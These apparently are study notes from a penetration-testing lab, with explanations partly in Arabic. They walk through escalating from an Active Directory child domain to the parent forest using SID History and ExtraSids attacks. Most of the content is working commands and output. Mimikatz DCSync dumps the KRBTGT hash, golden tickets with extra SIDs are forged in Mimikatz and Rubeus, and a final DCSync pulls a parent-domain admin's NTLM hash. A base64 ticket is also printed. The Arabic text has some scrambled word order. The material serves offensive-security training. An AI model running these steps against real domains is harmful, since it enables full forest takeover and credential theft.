

# 29-Attacking Domain Trust from windows

## SID History Primer

- **Group** أو **User** سواء كان **Active Directory** هو رقم تعريفى فريد لكل حساب في **SID (Security Identifier)** الـ.
- لما يتم **نقل مستخدم** من دومين لدومين ثانى (مثال: من دومين قديم لدومين جديد)، سيتم إنشاء حساب جديد في الدومين الجديد.
- علشان المستخدم يفضل يقدر يوصل للموارد في الدومين القديم، للحساب الجديد **sidHistory attribute** القديم بتاعه في **SID** سيتم إضافة الـ.
- القديمة بدون مشاكل **Resources** ده بيسمح للمستخدم إنه يفضل يوصل للـ.

### إزاي ممكن المهاجم يستغل الـ **SID History**؟

هنا بييجي دور الهجوم باستخدام أدوات زي **Mimikatz**، واللى بتقدر تعمل:

## SID History Injection

- في حساب هو بيتحكم فيه (يعني حساب عادى في الدومين) **Domain Admin** بتاع **SID** المهاجم بيحقن.
- بتاعه **Access Token** المرتبطة بيه بتُضاف لـ **SIDs** لما الحساب ده يسجل دخول، كل الـ.
- بشكل غير مباشر **Domain Admin** بالتالى، الحساب ده بياخد نفس صلاحيات الـ.

### سيناريو توضيحي للهجوم

1. (مثل **Amr User**) اختراق حساب مستخدم عادى في الدومين.
2. "**Amr User**" الخاص بـ **sidHistory** في **Domain Admin** بتاع حساب **SID** لحقن الـ **Mimikatz** استخدام.
3. عند تسجيل الدخول باستخدام الحساب المخترق:
  - **Domain Admin SID** كلها بما فيها **SIDs** بتاع المستخدم هياخد الـ **Token** الـ.
4. نتيجة لكده:
  - **Domain Controller** يعني يقدر يطلب البيانات من الـ **DCSync** الحساب اللي المفروض عادى يقدر يعمل مهام زي
  - **TGT (Kerberos Ticket-Granting Ticket)** أو **Golden Ticket** يقدر ينشئ
  - إوده معناه إنه يقدر يصنع "تذاكر" تتيح له الدخول بأي حساب ثانى في الدومين

## ExtraSids Attack - Mimikatz

### فكرة هجوم **ExtraSIDs Attack**

1. القديمة **SIDs** يسمح للمستخدمين بالوصول إلى الموارد القديمة عبر إضافة **SIDHistory** إلى **Active Directory Forest** في الـ الحسابات.
2. **SID Filtering** **Forest** بين الدومينات الموجودة في **Trusts** ويتم تطبيقه فقط على الـ **Trusts**.
  - o سيتم احترامه بدون أي فلترة **SIDHistory** إلى **Forest**، يعني لو الدومينات موجودة في نفس الـ **Forest**.
3. **Enterprise** خاص بـ **SID** بتاعه وتضيف **SIDHistory** تقدر تعدل الـ **Child Domain**، ده معناه إنك لو سيطرت على حساب في **Admins Group** (الـ **Parent Domain** الموجودة في الـ).
4. وبكده تأخذ صلاحيات كاملة على **Enterprise Admins** بمجرد ما تعمل كده، الحساب اللي سيطرت عليه هيتم معاملته كأنه عضو في الـ **Parent Domain**.

## الخطوات المطلوبة لتنفيذ ExtraSIDs Attack

علشان تنفذ الهجوم ده بعد اختراق الـ **Child Domain**، محتاج البيانات التالية:

1. (مهم لتزوير التذاكر) **KRBTGT** الخاص بحساب **NT Hash** الـ.
2. **Child Domain** الخاص بالـ **SID** الـ.
3. (!مش شرط يكون موجود فعلاً) **Child Domain** اسم مستخدم في الـ.
4. **Child Domain** للـ **FQDN** (Fully Qualified Domain Name) الـ.
5. **Root Domain** للـ **Enterprise Admins Group** الخاص بـ **SID** الـ.

## الأدوات المستخدمة: Mimikatz

### 1. الحصول على **KRBTGT Hash** باستخدام **DCSync**

- بعدما تسيطر على الـ **Child Domain** (من خلال حساب **Admin** أو ما شابه):
  - o **KRBTGT** الخاص بحساب **NT Hash** لسرقة الـ **Mimikatz** باستخدام **DCSync** شغل أمر

```
lsadump::dcsync /domain:child.inlanefreight.local /user:krbtgt
```

### 2. تزوير **Golden Ticket** مع **ExtraSIDs**

- بمجرد حصولك على الـ **KRBTGT Hash** والبيانات المطلوبة، تقدر تستخدم **Mimikatz** لتزوير تذكرة **TGT** مع **ExtraSIDs**.
- مثال على أمر **Mimikatz**:

```
kerberos::golden /user:fakeuser /domain:child.inlanefreight.local /sid:S-1-5-21-  
<ChildDomainSID> /krbtgt:<KRBTGT-Hash> /sids:S-1-5-21-<RootDomainSID>-519 /id:500  
/ptt
```

شرح الخيارات:

- o **/user:** اسم المستخدم اللي هتزرور التذكرة باسمه (مش لازم يكون موجود).
- o **/domain:** اسم الدومين اللي أنت فيه (Child Domain).
- o **/sid:** Child Domain الخاص بالـ **SID** الـ.
- o **/krbtgt:** **KRBTGT** الخاص بحساب **NT Hash** الـ.
- o **/sids:** (اللي هو 519) **Parent Domain** في **Enterprise Admins Group** الخاص بـ **SID** الـ.

- **/id:500:** يشير لحساب Administrator.
- **/ptt:** لتحميل التذكرة المزورة مباشرة في الذاكرة.

إيه اللي بيحصل؟

- **ExtraSIDs:** اللي زورته مع الـ **Golden Ticket** باستخدام الـ
  - **Enterprise Admins** في **Parent Domain** هيتم معاملته كأنه عضو في **Child Domain** الحساب اللي اخترقته في
  - **Forest** في الـ **Root Domain** ده بيديك صلاحيات إدارية كاملة على الـ

## Obtaining the KRBtgt Account's NT Hash using Mimikatz

```
PS C:\htb> mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm - 0: 69df324191d4a80f0ed100c10f20561e
```

We can use the PowerView `Get-DomainSID` function to get the SID for the child domain, but this is also visible in the Mimikatz output above.

## Using Get-DomainSID

```
PS C:\htb> Get-DomainSID

S-1-5-21-2806153819-209893948-922872689
```

Next, we can use `Get-DomainGroup` from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the `Get-ADGroup` cmdlet with a command such as `Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"`.

## Obtaining Enterprise Admins Group's SID using Get-DomainGroup

```
PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
```

distinguishedname	objectsid
-----	-----
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL	S-1-5-21-3842939050-3880317879-2865463114-519

At this point, we have gathered the following data points:

- The KRBTGT hash for the child domain: `9d765b482771505cbe97411065964d5f`
- The SID for the child domain: `S-1-5-21-2806153819-209893948-922872689`
- The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: `hacker`
- The FQDN of the child domain: `LOGISTICS.INLANEFREIGHT.LOCAL`
- The SID of the Enterprise Admins group of the root domain: `S-1-5-21-3842939050-3880317879-2865463114-519`

Before the attack, we can confirm no access to the file system of the DC in the parent domain.

## Using ls to Confirm No Access

```
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem],
UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
```

Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain.

## Creating a Golden Ticket with Mimikatz

```

PS C:\htb> mimikatz.exe

mimikatz # kerberos::golden /user:hacker
/domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-
922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-
3842939050-3880317879-2865463114-519 /ptt
User          : hacker
Domain        : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID           : S-1-5-21-2806153819-209893948-922872689
User Id       : 500
Groups Id     : *513 512 520 518 519
Extra SIDs    : S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey    : 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime      : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50
PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully
submitted for current session

```

We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory.

### Confirming a Kerberos Ticket is in Memory Using klist

```

PS C:\htb> klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>      Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
      Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @
LOGISTICS.INLANEFREIGHT.LOCAL
      KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
      Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
      Start Time: 3/28/2022 19:59:50 (local)
      End Time:   3/25/2032 19:59:50 (local)
      Renew Time: 3/25/2032 19:59:50 (local)

```

```
Session Key Type: RSADSI RC4-HMAC (NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
```

From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways.

### Listing the Entire C: Drive of the Domain Controller

```
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
Volume Serial Number is B8B3-0D72
```

```
Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)                0 bytes
               6 Dir(s)  18,080,178,176 bytes free
```

if you want to show folder from these folders

```
PS C:\Tools> ls \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids
>>
```

```
Directory: \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/7/2022 2:31 PM	21	flag.txt

```
PS C:\Tools> ls \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids\flag.txt
>>
```

```
Directory: \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/7/2022 2:31 PM	21	flag.txt

```
PS C:\Tools> type \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids\flag.txt
>>
```

```
f@lll1ng_11k3_d0mlno3$
```

## ExtraSids Attack - Rubeus

Next, we will formulate our Rubeus command using the data we retrieved above. The `/rc4` flag is the NT hash for the KRBTGT account. The `/sids` flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain.

### Creating a Golden Ticket using Rubeus

```
PS C:\htb> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f
/domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-
922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker
/ptt
```

```
_____
(_____\      | |
_____) )_  _| |__  _____
|  _  /| | | |  _\| ____ | | | |/_ )
| | \ \ | | | |_) ) ____ | | | |__ |
|_|  | |____/|____/|_____)____/ (____/
```

v2.0.2

```
[*] Action: Build TGT
```

```
[*] Building PAC
```

```
[*] Domain          : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID             : S-1-5-21-2806153819-209893948-922872689
[*] UserId          : 500
[*] Groups          : 520,512,513,519,518
[*] ExtraSIDs       : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey      : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType  : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey          : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType      : KERB_CHECKSUM_HMAC_MD5
[*] Service         : krbtgt
[*] Target          : LOGISTICS.INLANEFREIGHT.LOCAL
```

```
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@LOGISTICS.INLANEFREIGHT.LOCAL'
```

```
[*] AuthTime      : 3/29/2022 10:06:41 AM
[*] StartTime     : 3/29/2022 10:06:41 AM
[*] EndTime       : 3/29/2022 8:06:41 PM
[*] RenewTill     : 4/5/2022 10:06:41 AM
```

```
[*] base64(ticket.kirbi):
```

```
doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxB
TkVG
```

```
UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdI
VC5M
```

```
T0NBTKOCBDIwggQuoAMCAREhAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfbXlkwH3sXu
5BhH
```

```
T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRr
wa/S
```

```
VfgHhAuxKPlIi2phwjKxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQ
qDfy
```

```
k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDWjUN4mxsqINm7qNQcZHWN8kFSfAbqyD/O
ZIMc
```

```
g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfwqP+dNREtldE2sg
IUQm
```

```
9f3c01aOct517Mmo7lICBFXUTQJvfGftYdc01fWLoN45AtdpJro8lGwihIFMcp/vmPBlqQGxAtRK
zgzY
```

```
acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqaIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdM
nJOz
```

```
X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU003VpVr5bgaR+Nas5VYGBYIH0w3Q
x5YT
```



3dtLvCxNa3cEgllr9N0BjCl1iQGwyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRd  
Ez+H

WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMANhQth8GKbLqimcVrCUG+eghE+CN999g  
HNMG

Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAH  
dVeo

/RIfLx12G1LzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76I  
PC3B

aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixN  
cNV/

OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdci0r9DolI  
mqC3

sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuaBAzPQULPTWih6LyAwenrpd0sOEoiPvh8N  
lvIH

eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNflvZtUV/K  
RLlW

sL5v91jnzGizQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex  
37HQ

F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8I  
mJij

Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrC  
yB2T

JTKolmpptTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyieZARoAMCAQGhCjAI  
GwZo

YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjKxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8y  
MDIy

MDMzMdAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hU  
LkxP

```
Q0FMqTIwMKADAgECoskwxGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FR1JFSUdIVC5MT0NBTA==
```

```
[+] Ticket successfully imported!
```

Once again, we can check that the ticket is in memory using the `klist` command.

### Confirming the Ticket is in Memory Using klist

```
PS C:\htb> klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0>      Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
      Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @
LOGISTICS.INLANEFREIGHT.LOCAL
      KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
      Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
      Start Time: 3/29/2022 10:06:41 (local)
      End Time:    3/29/2022 20:06:41 (local)
      Renew Time: 4/5/2022 10:06:41 (local)
      Session Key Type: RSADSI RC4-HMAC(NT)
      Cache Flags: 0x1 -> PRIMARY
      Kdc Called:
```

Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the `lab_adm` Domain Admin user.

### Performing a DCSync Attack

```
PS C:\Tools\mimikatz\x64> .\mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com ***//

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service : ldap
```

```
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
```

```
Object RDN          : lab_adm
```

```
** SAM ACCOUNT **
```

```
SAM Username       : lab_adm
```

```
Account Type       : 30000000 ( USER_OBJECT )
```

```
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
```

```
Account expiration  :
```

```
Password last change : 2/27/2022 10:53:21 PM
```

```
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
```

```
Object Relative ID   : 1001
```

```
Credentials:
```

```
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
```

```
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
```

```
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
```

```
lm - 0: 6053227db44e996fe16b107d9d1e95a0
```

When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following:

```
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm  
/domain:INLANEFREIGHT.LOCAL
```

```
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
```

```
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
```

```
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
```

```
[rpc] Service : ldap
```

```
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
```

```
Object RDN          : lab_adm
```

```
** SAM ACCOUNT **
```

```
SAM Username       : lab_adm
```

```
Account Type       : 30000000 ( USER_OBJECT )
```

```
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
```

```
Account expiration  :
```

```
Password last change : 2/27/2022 10:53:21 PM
```

```
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
```

```
Object Relative ID   : 1001
```

## Credentials:

Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6

ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6

ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6

lm - 0: 6053227db44e996fe16b107d9d1e95a0